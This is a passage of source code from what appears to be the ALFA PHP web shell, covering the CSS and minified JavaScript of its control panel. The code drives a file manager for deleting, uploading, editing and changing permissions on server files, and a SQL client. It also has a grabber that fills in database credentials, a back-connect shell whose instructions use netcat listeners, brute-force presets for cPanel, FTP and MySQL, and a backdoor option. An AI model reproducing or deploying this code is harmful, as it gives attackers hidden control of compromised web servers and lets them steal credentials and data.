input[type=checkbox]{display:none}.myCheckbox label:before{content:"";display:inline-block;width:14px;height:13px;position:absolute;background-color:#aaa;box-shadow:inset 0 2px 3px 0 rgba(0,0,0,.3),0 1px 0 0 rgba(255,255,255,.8)}.myCheckbox label{margin-bottom:15px;padding-right:17px}.myCheckbox label:before{border-radius:100px}input[type=checkbox]:checked + label:before{content:"";background-color:#0E304A;background-image:url('.__showicon('alfamini').');background-repeat:no-repeat;background-position:50% 50%;background-size:14px 14px;box-shadow:0 0 4px #0F0}#meunlist{font-family:Verdana,Geneva,sans-serif;color:#FFF;width:auto;border-right-width:7px;border-left-width:7px;height:auto;font-size:12px;font-weight:700;border-top-width:0;border-color:#0E304A;border-style:solid}.whole #meunlist ul{text-align:center;margin:0;padding:5px 5px 5px 5px;}
.whole #meunlist li{display:inline;padding:0;}.whole #meunlist a{font-family:arial,sans-serif;font-size:14px;text-decoration:none;font-weight:700;clear:both;width:10px;padding:3px 15px}.foot{font-family:Verdana,Geneva,sans-serif;margin:0;padding:0;width:100%;text-align:center;font-size:12px;color:#0E304A;border-right-width:7px;border-left-width:7px;border-bottom-width:7px;border-bottom-style:solid;border-right-style:solid;border-right-style:solid;border-left-style:solid;border-color:#0E304A}#text{text-align:center}input[type=submit]{cursor:pointer;background-color:#000;color:#27979B;width:30px;height:30px;border:1px solid #27979B;border-radius:10px}textarea{padding:3px;color:#999;text-shadow:#777 0 0 3px;border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px}textarea:hover{color:#FFF;text-shadow:#060 0 0 6px;box-shadow:0 0 4px #27979B;border:1px solid #27979B;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}input[type=text],input[type=number],.alfa_custom_cmd_btn{padding:3px;color:#999;text-shadow:#777 0 0 3px;border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px}input[type=submit]:hover{color:#fff;text-shadow:#060 0 0 6px;box-shadow:0 0 4px #27979B;border:2px solid #27979B;-moz-border-radius:4px;border-radius:100px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}input[type=text]:hover{color:#FFF;text-shadow:#060 0 0 6px;box-shadow:0 0 4px #27979B;border:1px solid #27979B;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}select{padding:3px;width:162px;color:#FFE;text-shadow:#000 0 2px 7px;border:1px solid #0E304A;background:#000;text-decoration:none;box-shadow:0 0 4px #0E304A;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px}select:hover{border:1px solid #27979B;box-shadow:0 0 4px #27979B;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}
.foottable{width: 300px;font-weight: bold;'.(!@is_writable($GLOBALS['cwd'])?'}.dir{background-color:red;}':'}').'.main th{text-align:left;}.main a{color: #FFF;}.main tr:hover{background-color:#646464 !important;}.ml1{ border:1px solid #0E304A;padding:5px;margin:0;overflow: auto; }.bigarea{ width:99%; height:300px; }.alfa_custom_cmd_btn {padding: 5px;color: #24ff03;cursor: pointer;}.ajaxarea.filesman-active-content {display: block;}'.alfaCssLoadColors().'
</style>';
echo "<script type='text/javascript'>
var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
var a_ = '" . htmlspecialchars(@$_POST['a']) ."';
var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
var islinux = ".($GLOBALS['sys']!="win"?'true':'false').";
var post_encryption_mode = ".(__ALFA_POST_ENCRYPTION__?'true':'false').";";
var alfa1_="",alfa2_="",alfa3_="",alfa4_="",alfa5_="",alfa6_="",alfa7_="",alfa8_="",alfa9_="",alfa10_="",d=document,mysql_cache={},editor_files={},editor_error=!0,editor_current_file="",php_temrinal_using_cgi=!1,is_minimized=!1,cgi_is_minimized=!1,options_window_is_minimized=!1,database_window_is_minimized=!1,rightclick_menu_context=null,can_hashchange_work=!0,alfa_can_add_opt=!1,alfa_before_do_action_id="",alfa_ace_editors={editor:null,eval:null},col_dumper_selected_data={},_ALFA_AJAX_={},cgi_lang="",upcount=1,terminal_walk_index=[],alfa_current_fm_id=1,alfa_fm_id=0;function set(e,a,t,i,l,o,r,n,s,c,f,_,u){d.mf.a.value=null!=e?e:a_,d.mf.c.value=null!=a?a:c_,d.mf.alfa1.value=null!=t?t:"",d.mf.alfa2.value=null!=i?i:"",d.mf.alfa3.value=null!=l?l:"",d.mf.alfa4.value=null!=o?o:"",d.mf.alfa5.value=null!=r?r:"",d.mf.alfa6.value=null!=n?n:"",d.mf.alfa7.value=null!=s?s:"",d.mf.alfa8.value=null!=c?c:"",d.mf.alfa9.value=null!=f?f:"",d.mf.alfa10.value=null!=_?_:"",d.mf.charset.value=null!=u?u:charset_}function fc(e){var a=alfa_current_fm_id,t="a="+alfab64("FilesMan")+"&c="+alfab64(e.c.value)+"&alfa1="+alfab64(e.alfa1.value)+"&ajax="+alfab64("true")+"&",i="",l=0;if(d.querySelectorAll("#filesman_holder_"+a+" form[name=files] input[type=checkbox]").forEach(function(e){e.checked&&(l++,i+="f[]="+alfab64(decodeURIComponent(e.value))+"&")}),0==l&&"paste"!=e.alfa1.value)return!1;switch(alfaloader("filesman_holder_"+a,"block"),e.alfa1.value){case"delete":d.querySelectorAll("#filesman_holder_"+a+" .fmanager-row").forEach(function(e){var a=e.querySelector("input[type=checkbox]");a.checked&&".."!=a.value?e.remove():a.checked=!1}),d.querySelector("#filesman_holder_"+a+" .chkbx").checked=!1;break;case"copy":case"move":case"zip":case"unzip":d.querySelectorAll("#filesman_holder_"+a+" input[type=checkbox]:checked").forEach(function(e){e.checked=!1})}_Ajax(d.URL,t+i,function(e){alfaloader("filesman_holder_"+a,"none"),alfaFmngrContextRow()},!1,"filesman_holder_"+a)}function initDir(e){var a="",t="";islinux&&(a="<a class=\"header_pwd\" onclick=\"g('FilesMan','/');\" path='/' href='#action=fileman&path=/'>/</a>",t="/");var l=e.split("/"),o="",r=islinux?"/":"";for(i in"-1"!=l.indexOf("..")&&(l.splice(l.indexOf("..")-1,1),l.splice(l.indexOf(".."),1)),l)""!=l[i]&&(o+="<a onclick=\"g('FilesMan','"+r+l[i]+"/');\" path='"+r+l[i]+"/' href='#action=fileman&path="+r+l[i]+'/\' class="header_pwd">'+l[i]+"/</a>",r+=l[i]+"/");$("header_cwd").innerHTML=a+o+" ",alfaInitCwdContext(),l=(l=t+l.join("/")).replace("//","/"),d.footer_form.c.value=l,$("footer_cwd").value=l,c_=l}function evalJS(html){var newElement=document.createElement("div");newElement.innerHTML=html;for(var scripts=newElement.getElementsByTagName("script"),i=0;i<scripts.length;++i){var script=scripts[i];eval(script.innerHTML)}}function _Ajax(e,a,t,i,l){var o=!1;return window.XMLHttpRequest?o=new XMLHttpRequest:window.ActiveXObject&&(o=new ActiveXObject("Microsoft.XMLHTTP")),void 0!==l&&(_ALFA_AJAX_[l]=o),o?(o.onreadystatechange=function(){4==o.readyState&&200==o.status?"function"==typeof t&&(t(o.responseText,l),alfaClearAjax(l)):4==o.readyState&&200!=o.status&&(alfaAjaxError(o.status,l,o.statusText,o.responseText),alfaClearAjax(l))},o.open("POST",e,!0),o.setRequestHeader("Content-Type","application/x-www-form-urlencoded"),void o.send(a)):void alert("Error !")}function alfaClearAjax(e){_ALFA_AJAX_.hasOwnProperty(e)&&delete _ALFA_AJAX_[e]}function handleup(e,a){var t="__fnameup";if(0!=a&&(t="__fnameup"+a),e.files.length>1){for(var i="",l=0;l<e.files.length;l++)i+=e.files[0].name+", ";$(t).innerHTML=i}else e.files[0].name&&($(t).innerHTML=e.files[0].name)}function u(e){var a=!1,t=0,i=alfa_current_fm_id,l=new FormData,o="filesman_holder_"+i;l.append("a",alfab64(e.a.value)),l.append("c",alfab64(e.c.value)),l.append("alfa1",alfab64(e.alfa1.value)),l.append("charset",alfab64(e.charset.value)),l.append("ajax",alfab64(e.ajax.value)),e.querySelectorAll("input[type=file]").forEach(function(e){if(0==e.value.length)return!1;if(e.files.length>1)for(var a=0;a<e.files.length;a++)l.append("f[]",e.files[a]);else l.append("f[]",e.files[0]);t++}),$("footerup").value="",$("__fnameup").innerHTML="";for(var r=1;r<=upcount;r++){var n=$("pfooterup_"+r);n&&n.parentNode.removeChild(n),upcount--}if(0==upcount&&upcount++,0==t)return!1;var s="up_bar_"+getRandom();$("up_bar_holder").insertAdjacentHTML("beforeend","<div id='"+s+"' class='up_bar'></div>");e.c.value;if(window.XMLHttpRequest?a=new XMLHttpRequest:window.ActiveXObject&&(a=new ActiveXObject("Microsoft.XMLHTTP")),a){var c=$(s);_ALFA_AJAX_[s]=a,a.upload&&(c.style.display="block",a.upload.onprogress=function(e){var a=e.position||e.loaded,t=e.totalSize||e.total,i=Math.floor(a/t*1e3)/10+"%";c.style.width=i}),a.onload=function(e){200===a.status?c.style.display="none":alfaAjaxError(a.status,"upload_area",a.statusText,a.responseText),alfaClearAjax(s)},a.onreadystatechange=function(){if(4==a.readyState&&200==a.status){if("noperm"!=a.responseText&&"[]"!=a.responseText){var e,t=JSON.parse(a.responseText),l="",r=d.querySelectorAll("#"+o+" #filemanager_table tr").length-3;for(e in t){++r;var n=t[e].name,s=encodeURIComponent(n),c=t[e].size,f=t[e].perm,_=t[e].modify,u=t[e].owner,p=loadType(n,"file");try{d.querySelector("#"+o+" .fmanager-row a[fname='"+n+"']").parentElement.parentElement.parentElement.remove()}catch(e){}l+='<tr class="fmanager-row" id="tr_row_'+r+'"><td><div class="myCheckbox"><input type="checkbox" name="f[]" value="'+n+'" class="chkbx" id="checkbox'+r+'"><label for="checkbox'+r+'"></label></div></td><td id="td_row_'+r+'">'+p+'<div style="position:relative;display:inline-block;bottom:12px;"><a row="'+r+'" id="id_'+r+'" class="main_name" onclick="editor(\''+s+"','auto','','','','file');\" href=\"#action=fileman&path="+c_+"&file="+s+'" fname="'+n+'" ftype="file" path="'+c_+'" opt_title="">'+n+'</a></div></td><td><span style="font-weight:unset;" class="main_size">'+c+'</span></td><td><span style="font-weight:unset;" class="main_modify">'+_+'</span></td><td><span style="font-weight:unset;" class="main_owner_group">'+u+'</span></td><td><a id="id_chmode_'+r+'" href="javascript:void(0)" onclick="editor(\''+s+"','chmod','','','','file')\">"+f+'</a></td><td><a id="id_rename_'+r+'" title="Rename" class="actions" href="javascript:void(0);" onclick="editor(\''+s+"','rename','','','','file')\">R</a> <a id=\"id_touch_"+r+'" title="Modify Datetime" class="actions" href="javascript:void(0);" onclick="editor(\''+s+"', 'touch','','','','file')\">T</a> <a id=\"id_edit_"+r+'" class="actions" title="Edit" href="javascript:void(0);" onclick="editor(\''+s+"', 'edit','','','','file')\">E</a> <a id=\"id_download_"+r+'" title="Download" class="actions" href="javascript:void(0);" onclick="g(\'FilesTools\',null,\''+n+"', 'download')\">D</a><a id=\"id_delete_"+r+'" title="Delete" class="actions" href="javascript:void(0);" onclick="var chk = confirm(\'Are You Sure For Delete # '+s+" # ?'); chk ? g('FilesMan',null,'delete', '"+s+"') : '';\"> X </a></td></tr>"}d.querySelector("#"+o+" #filemanager_last_tr").insertAdjacentHTML("beforebegin",l),alfaShowNotification("File(s) uploaded successfully","Uploader"),alfaFmngrContextRow()}else alfaShowNotification("Folder has no permission...","Uploader","error");alfaCheckCurrentFilesManTab(i)}},a.open("POST",d.URL),a.send(l)}}function alfaCheckCurrentFilesManTab(e){-1==$("filesman_tab_"+e).classList.value.indexOf("filesman-tab-active")&&$("filesman_tab_"+e).classList.add("tab-is-done")}function g(a,c,alfa1,alfa2,alfa3,alfa4,alfa5,alfa6,alfa7,alfa8,alfa9,alfa10,charset){var fm_id=0==alfa_fm_id?alfa_current_fm_id:alfa_fm_id,fm_id2=alfa_fm_id,fm_path=null==c||0==c.length?c_:c,d_mf_c=fm_path,g_action_id=alfa_before_do_action_id;0==alfa_fm_id&&(set(a,c,alfa1,alfa2,alfa3,alfa4,alfa5,alfa6,alfa7,alfa8,alfa9,alfa10,charset),d_mf_c=d.mf.c.value),"GetConfig"!=a&&"download"!=alfa2&&islinux&&"/"!=d_mf_c.substr(0,1)&&(d_mf_c="/"+d_mf_c),"FilesMan"==a?(alfaloader("filesman_holder_"+fm_id,"block"),g_action_id="filesman_holder_"+fm_id):""!=g_action_id?alfaloader(g_action_id,"block"):"FilesTools"!=a&&"download"!=alfa2&&"GetConfig"!=a&&("sql"==a?(showEditor("database_window"),g_action_id=loadPopUpDatabase("")):"FilesMan"!=a&&(showEditor("options_window"),g_action_id=loadPopUpOpTions(a)),alfaloader(g_action_id,"block"));for(var data="a="+alfab64(a)+"&c="+alfab64(d_mf_c)+"&",i=1;i<=10;i++)data+="alfa"+i+"="+alfab64(eval("d.mf.alfa"+i+".value"))+"&";if("FilesMan"==a){var pagenum=d.querySelector("#"+g_action_id+" .page-number.active-page-number");null!=pagenum&&(data+="pagenum="+alfab64(getCookie(g_action_id+"_page_number")),setCookie(g_action_id+"_page_number",1,2012))}if(data+="&ajax="+alfab64("true"),"FilesTools"==a&&"download"==alfa2){alfaLoaderOnTop("none");var dl=$("dlForm");return dl.a.value=alfab64("dlfile"),dl.c.value=alfab64(d_mf_c),dl.file.value=alfab64(alfa1),void dl.submit()}"GetConfig"!=a?(_Ajax(d.URL,data,function(e,t){evalJS(e);var i=!1;if(alfaLoaderOnTop("none"),"sql"==a)return console.log(t),loadPopUpDatabase(e,t),!1;if("FilesMan"==a){alfaloader("filesman_holder_"+fm_id,"none"),d.querySelector("#filesman_holder_"+fm_id).innerHTML=e,fm_path=fm_path.replace(/\/\//g,"/"),$("filesman_tab_"+fm_id).setAttribute("path",fm_path);var l=alfaGetLastFolderName(fm_path);d.querySelector("#filesman_tab_"+fm_id+" span").innerHTML=l,alfaFmngrContextRow(),"function"==typeof alfa1&&alfa1(e),alfaCheckCurrentFilesManTab(fm_id)}else(options_window_is_minimized||==t.substr(0,1))&&==t.substr(0,1)&&(i=!0,t=t.substr(1),showEditor("options_window")),i||alfaloader(t,"none"),loadPopUpOpTions(t,e),"phpeval"==a&&alfaLoadAceEditor("PhpCode"),"coldumper"==a.substr(0,9)&&alfaColDumperInit()},!1,""==g_action_id?+a:g_action_id),g_action_id="",0==fm_id2&&c!=c_&&c&&initDir(c)):(alfaloader(alfa3,"block"),_Ajax(d.URL,data,function(e,a){var t=a;a=d.querySelector("#"+("id_db"!=a.substr(0,5)?"option_"+a:a));try{(e=JSON.parse(e)).host&&e.user&&e.dbname&&($("db_host")&&(a.querySelector("#db_host").value=e.host),$("db_user")&&(a.querySelector("#db_user").value=e.user),$("db_name")&&(a.querySelector("#db_name").value=e.dbname),$("db_pw")&&(a.querySelector("#db_pw").value=e.password),$("db_prefix")&&e.prefix&&(a.querySelector("#db_prefix").value=e.prefix),$("cc_encryption_hash")&&e.cc_encryption_hash&&(a.querySelector("#cc_encryption_hash").value=e.cc_encryption_hash))}catch(e){}alfaloader(t,"none")},!1,alfa3))}function alfaGetLastFolderName(e){var a=e.replace(/\/\//g,"/").split("/");for(var t in a)0==a[t].length&&a.splice(t,1);var i=a[a.length-1];return 0==i.length&&(i="/"),i}function alfaloader(e,a){if(0==e.length)return!1;try{var t=$("loader_"+e);if(null==t&&"block"==a){var i=null;"editor"==e?i=d.querySelector("#editor .editor-modal"):"id_db"==e.substr(0,5)?i=$(e):"terminal_id"==e.substr(0,11)?i=$(e):"editor"==e.substr(0,6)?i=$(e):"cgiframe"==e?i=$("cgiframe"):"filesman_holder"==e.substr(0,15)?(i=$(e)).style.minHeight="300px":i=$("option_"+e),i.insertAdjacentHTML("afterbegin","<div id='loader_"+e+'\' class="options-loader-holder"><div parent="'+e+'" onclick="alfaAjaxController(this);" class="stopAjax">[ Stop it ]</div><div class="alfa-ajax-error"></div><img src=\'http://solevisible.com/images/loader.svg\'></div>')}else"filesman_holder"==e.substr(0,15)&&($(e).style.minHeight="0"),null!=t&&(t.style.display=a)}catch(e){}}function fs(e){var a=e.getAttribute("db_id"),t=d.querySelector("#"+a+" div.sf");mysql_cache.hasOwnProperty(a)||(mysql_cache[a]={}),alfaloader(a,"block");var i=t.querySelector("input[name=sql_host]").value,l=t.querySelector("input[name=sql_login]").value,o=t.querySelector("input[name=sql_pass]").value,r=t.querySelector("input[name=sql_base]")?t.querySelector("input[name=sql_base]").value:t.querySelector("select[name=sql_base]").value,n=t.querySelector("select[name=type]").value,s=t.querySelector("input[name=sql_count]").checked?"true":"";_Ajax(d.URL,"a="+alfab64("Sql")+"&alfa1="+alfab64("query")+"&alfa2=&c="+alfab64(c_)+"&charset="+alfab64("UTF-8")+"&type="+alfab64(n)+"&sql_host="+alfab64(i)+"&sql_login="+alfab64(l)+"&sql_pass="+alfab64(o)+"&sql_base="+alfab64(r)+"&sql_count="+alfab64(s)+"¤t_mysql_id="+alfab64(a)+"&ajax="+alfab64("true"),function(e,a){loadPopUpDatabase(e,a),evalJS(e),alfaloader(a,"none")},!1,a)}function ctlbc(e){var a=$("bcStatus"),t=$("bcipAction");"bind"==e.value?(t.style.display="none",a.innerHTML="<small>Press ` <font color='red'>>></font> ` button and run ` <font color='red'>nc server_ip port</font> ` on your computer</small>"):(t.style.display="inline-block",a.innerHTML="<small>Run ` <font color='red'>nc -l -v -p port</font> ` on your computer and press ` <font color='red'>>></font> ` button</small>")}function $(e){return d.getElementById(e)}function addnewup(){var e="footerup_"+upcount,a="pfooterup_"+upcount,t=1!=upcount?"pfooterup_"+(upcount-1):"pfooterup",i=d.createElement("p");i.innerHTML='<label class="inputfile" for="'+e+'"><span id="__fnameup'+upcount+'"></span> <strong> Choose a file</strong></label><input id="'+e+'" type="file" name="f[]" onChange="handleup(this,'+upcount+');" multiple>',i.id=a,i.appendAfter($(t)),upcount++}function alfa_searcher_tool(e){switch(e){case"all":case"dirs":_alfaSet(!0,"Disabled");break;case"files":_alfaSet(!1,"php")}}function _alfaSet(e,a){d.srch.ext.disabled=e,d.srch.ext.value=a}function dis_input(e){switch(e){case"phpmyadmin":bruteSet(!0,"Disabled","http://");break;case"direct":bruteSet(!1,"2222","http://");break;case"cp":bruteSet(!1,"2082","http://");break;case"ftp":bruteSet(!0,"Disabled","ftp://");break;case"mysql":bruteSet(!1,"3306","http://");break;case"ftpc":bruteSet(!1,"21","http://")}}function bruteSet(e,a,t){c="21"!=a?"localhost":"ftp.example.com",$("port").disabled=e,$("port").value=a,$("target").value=c,$("protocol").value=t}function inBackdoor(e){"my"==e.value?$("backdoor_textarea").style.display="block":$("backdoor_textarea").style.display="none"}function saveByKey(e){return!("s"==String.fromCharCode(e.which).toLowerCase()&&e.ctrlKey||19==e.which)||($("editor_edit_area").onsubmit(),e.preventDefault(),!1)}function alfaAjaxError(e,a,t,i){if(void 0!==a){var l=d.querySelector("#loader_"+a);null!=l&&(firewall="",403==e&&(firewall=" ~ FireWall Detected!"),l.querySelector("img").remove(),l.querySelector(".alfa-ajax-error").innerHTML=e+" ( "+t+firewall+" )",alfaShowNotification(t,"Ajax","error"))}}function alfaInitCwdContext(){d.querySelectorAll(".header_pwd").forEach(function(e){e.addEventListener("contextmenu",function(e){var a=e.target.getAttribute("path"),t=d.querySelector("#rightclick_menu > a[name=newtab]");t.setAttribute("href","javascript:void(0);"),t.removeAttribute("target"),t.onclick=function(){alfaFilesManNewTab(a,"/")};var i=e.clientX,l=e.clientY;alfaSortMenuItems(["newtab"]),alfaRightClickMenu(i,l),e.preventDefault()})})}function alfaRightClickMenu(e,a){rightclick_menu_context.top=a+"px",rightclick_menu_context.left=e+"px",rightclick_menu_context.visibility="visible",rightclick_menu_context.opacity="1"}function alfaSortMenuItems(e){var a=["newtab","link","download","view","edit","move","copy","rename","modify","permission","compress","extract","delete","view_archive"],t=!1;for(var i in a){for(var l in t=!1,e)a[i]!=e[l]||(d.querySelector("#rightclick_menu > a[name="+a[i]+"]").style.display="block",t=!0);t||(d.querySelector("#rightclick_menu > a[name="+a[i]+"]").style.display="none")}}function alfaAceChangeSetting(e,a){var t=e.options[e.selectedIndex].value,i=e.getAttribute("base"),l=alfa_ace_editors.editor;"eval"==i&&(l=alfa_ace_editors.eval);var o=e.getAttribute("ace_id");"lang"==a?l[o].session.setMode("ace/mode/"+t):"theme"==a&&l[o].setTheme("ace/theme/"+t),setCookie("alfa_ace_"+a+"_"+i,t,2012)}function alfaAceChangeWrapMode(e,a){var t=alfa_ace_editors.editor;"eval"==a&&(t=alfa_ace_editors.eval);var i=e.getAttribute("ace_id");e.checked?t[i].session.setUseWrapMode(!0):t[i].session.setUseWrapMode(!1)}function alfaAceChangeFontSize(e,a,t){var i=alfa_ace_editors.editor;"eval"==e&&(i=alfa_ace_editors.eval);var l=t.getAttribute("ace_id"),o=i[l].getFontSize();"+"==a?++o:--o,i[l].setFontSize(o),setCookie("alfa_ace_fontsize_"+e,o,2012)}function setCookie(e,a,t){var i=new Date;i.setTime(i.getTime()+24*t*60*60*1e3);var l="expires="+i.toUTCString();document.cookie=e+"="+a+";"+l+";path=/"}function getCookie(e){var a=("; "+document.cookie).split("; "+e+"=");if(2==a.length)return a.pop().split(";").shift()}function editorClose(e){if(d.body.style.overflow="visible",elem=$(e),elem.setAttribute("class","editor-anim-close"),"editor"==e){if(is_minimized=!1,null!=alfa_ace_editors.editor&&null!=alfa_ace_editors.editor){for(var a in alfa_ace_editors.editor)alfa_ace_editors.editor[a].destroy();alfa_ace_editors.editor=null,d.querySelector(".editor-tabs").innerHTML="",d.querySelector(".editor-content-holder").innerHTML=""}}else if("cgiloader"==e)php_temrinal_using_cgi&&(d.querySelector(".terminal-tabs").innerHTML="",d.querySelector(".terminal-contents").innerHTML=""),php_temrinal_using_cgi=!1,cgi_is_minimized=!1;else if("options_window"==e){if(options_window_is_minimized=!1,null!=alfa_ace_editors.eval){for(var a in alfa_ace_editors.eval)alfa_ace_editors.eval[a].destroy();alfa_ace_editors.eval=null,d.querySelectorAll(".php-evals").forEach(function(e){e.removeAttribute("ace")})}}else"database_window"==e&&(database_window_is_minimized=!1);setTimeout(function(){elem=$(e),elem.removeAttribute("class"),elem.style.display="none","options_window"==e&&(elem.querySelector(".options_tab").innerHTML="",elem.querySelector(".options_content").innerHTML="")},1e3),d.body.style.overflow="visible"}function popupWindowBackPosition(){var e={cgiloader:cgi_is_minimized,options_window:options_window_is_minimized,database_window:database_window_is_minimized,editor:is_minimized},a=[];for(var t in e)e[t]&&a.push(t);1==a.length?$(a[0]+"-minimized").style.top="30%":2==a.length?($(a[0]+"-minimized").style.top="20%",$(a[1]+"-minimized").style.top="50%"):3==a.length?($(a[0]+"-minimized").style.top="0%",$(a[1]+"-minimized").style.top="30%",$(a[2]+"-minimized").style.top="60%"):4==a.length&&($(a[0]+"-minimized").style.top="0%",$(a[1]+"-minimized").style.top="30%",$(a[2]+"-minimized").style.top="55%",$(a[3]+"-minimized").style.top="80%")}function showEditor(e){if($(e).setAttribute("class","editor-anim-show"),$(e+"-minimized").setAttribute("class","minimized-hide"),"editor"==e)is_minimized=!1;else if("cgiloader"==e)cgi_is_minimized=!1;else if("options_window"==e){options_window_is_minimized=!1;var a=d.querySelector("#options_window .content_options_holder .options_tab .tab_name.tab_is_active.tab-is-done");null!=a&&a.classList.remove("tab-is-done")}else"database_window"==e&&(database_window_is_minimized=!1);popupWindowBackPosition(),d.body.style.overflow="hidden"}function editorMinimize(e){$(e).setAttribute("class","editor-anim-minimize"),$(e+"-minimized").setAttribute("class","minimized-show"),"editor"==e?is_minimized=!0:"cgiloader"==e?cgi_is_minimized=!0:"options_window"==e?options_window_is_minimized=!0:"database_window"==e&&(database_window_is_minimized=!0),popupWindowBackPosition(),d.body.style.overflow="visible"}function clearEditorHistory(){if(confirm("Are u Sure?"))for(var e in editor_files)e!=editor_current_file&&removeHistory(e)}function isArchive(e){var a,t=[".tar.gz",".tar.bz2",".tar.z",".tar.xz",".zip",".zipx",".7z",".bz2",".gz",".rar",".tar",".tgz"];for(a in t)if(new RegExp("(.*)("+t[a].replace(/\./g,"\\.")+")$","gi").test(e))return!0;return!1}function editor(e,a,t,i,l,o){if("dir"==o&&".."==e)return!1;if("download"==a)return g("FilesTools",i,e,"download"),!1;var r="",n="",s="",c="",f=d.mf.c.value,_=!0;if(e=e.trim(),0==Object.keys(editor_files).length){var u=getCookie("alfa_history_files");try{for(var p in u=atob(u),editor_files=JSON.parse(u))insertToHistory(p,editor_files[p].file,0,editor_files[p].type)}catch(e){}}if("phar://"==e.substr(0,7))f=c_;else if(-1!=e.indexOf("/")){var m=e.split("/");e=m[m.length-1],delete m[m.length-1],f=m.join("/"),islinux&&(f="/"+f)}if(void 0===o&&(o=""),void 0!==i&&null!=i&&0!=i.length&&(f=i.trim()),"auto"==a&&isArchive(e))return alfaSyncMenuToOpt(e,!0),!1;try{for(var v in editor_files)if(editor_files[v].file==decodeURIComponent(e)&&editor_files[v].pwd.replace(/\//g,"")==f.replace(/\//g,"")){_=!1,l=v;break}}catch(e){}if(editor_error=!0,void 0!==t&&0!=t.length&&null!=t&&(r=alfab64(t)),void 0!==l&&null!=l&&0!=l.length)n=alfab64(l),s=l,c=l.replace("file_","");else{var h="file_"+(c=getRandom(10));n=alfab64(h),s=h}var b="editor_source_"+c;if(null==$(b)){try{d.querySelector(".editor-contents.editor-content-active").classList.remove("editor-content-active")}catch(e){}try{d.querySelector(".editor-tabs .editor-tab-name.editor-tab-active").classList.remove("editor-tab-active")}catch(e){}d.querySelector(".editor-tabs").insertAdjacentHTML("beforeend","<div onclick='editorTabController(this);' opt_id='"+b+"' id='tab_"+b+"' class='editor-tab-name editor-tab-active'>"+decodeURIComponent(e)+" <img opt_id='"+b+"' onclick='closeEditorContent(this,event);return false;' title='[close]' src='http://solevisible.com/icons/menu/delete.svg'></div>"),d.querySelector(".editor-content-holder").insertAdjacentHTML("afterbegin","<div class='editor-contents editor-content-active' id='"+b+"'></div>")}return 0==is_minimized&&"none"==$("editor").style.display?($("editor").style.display="block",showEditor("editor"),alfaloader(b,"block")):(is_minimized&&showEditor("editor"),null!=$(b)?alfaloader(b,"block"):(alfaloader("editor","block"),b="editor")),_Ajax(d.URL,"a="+alfab64("FilesTools")+"&c="+alfab64(f)+"&alfa1="+alfab64(e)+"&alfa2="+alfab64(a)+"&alfa3="+r+"&alfa4="+n+"&alfa5=&alfa6=&alfa7=&alfa8=&alfa9=&alfa10=&&ajax="+alfab64("true"),function(t,i){var l=$("tab_"+i);try{null!=l&&((-1==l.classList.value.indexOf("editor-tab-active")||is_minimized)&&(l.classList.add("tab-is-done"),alfaShowNotification("proccess is done...","Editor: "+l.innerText)),is_minimized&&alfaUpdateOptionsBadge("editor"))}catch(t){}if("none"==$("editor").style.display?alfaLoaderOnTop("none"):alfaloader(i,"none"),r.length>0&&"edit"==a)return is_minimized||null!=l&&-1!=l.classList.value.indexOf("editor-tab-active")&&alfaShowNotification("saved...!","Editor"),!1;if(null!=$(i)&&($(i).innerHTML=t),is_minimized&&alfaShowNotification("proccess is done...","Editor: "+decodeURIComponent(e)),$("editor").style.display="block",evalJS(t),alfaLoadAceEditor("view_ml_content"),"delete"!=a&&editor_error){var c=d.getElementsByClassName("is_active");0!=c.length&&(c[0].className="file-holder"),n=s,e=decodeURIComponent(e),!editor_files[n]&&_?(editor_files[n]={file:e,pwd:f,type:o},insertToHistory(n,e," is_active",o),"mkfile"==a&&g("FilesMan",null)):$(n).parentNode.className+=" is_active"}d.body.style.overflow="hidden",d.getElementsByClassName("filestools")[0].setAttribute("fid",n),editor_files[n]&&(d.getElementsByClassName("editor-path")[0].innerHTML=(editor_files[n].pwd+"/"+editor_files[n].file).replace(/\/\//g,"/")),editor_current_file=n,updateCookieEditor()},!1,b),!1}function alfaLoadAceEditor(e,a){if(void 0===a&&(a=!1),null==$("alfa-ace-plugin")){var t=document.createElement("script");return t.src="https://cdnjs.cloudflare.com/ajax/libs/ace/1.4.11/ace.js",t.id="alfa-ace-plugin",t.onload=function(){alfaLoadAceEditor(e,a)},d.body.appendChild(t),!1}try{"allow"==$(e).getAttribute("mode")&&(a=!1)}catch(e){}if("view_ml_content"==e){null==alfa_ace_editors.editor&&(alfa_ace_editors.editor={});var i=getCookie("alfa_ace_theme_editor"),l=getCookie("alfa_ace_fontsize_editor");void 0===i&&(i="terminal"),0==i.length&&(i="terminal"),d.querySelectorAll(".editor-ace-controller").forEach(function(e){if(null!=e.getAttribute("ace"))return!1;e.setAttribute("ace","ok");var 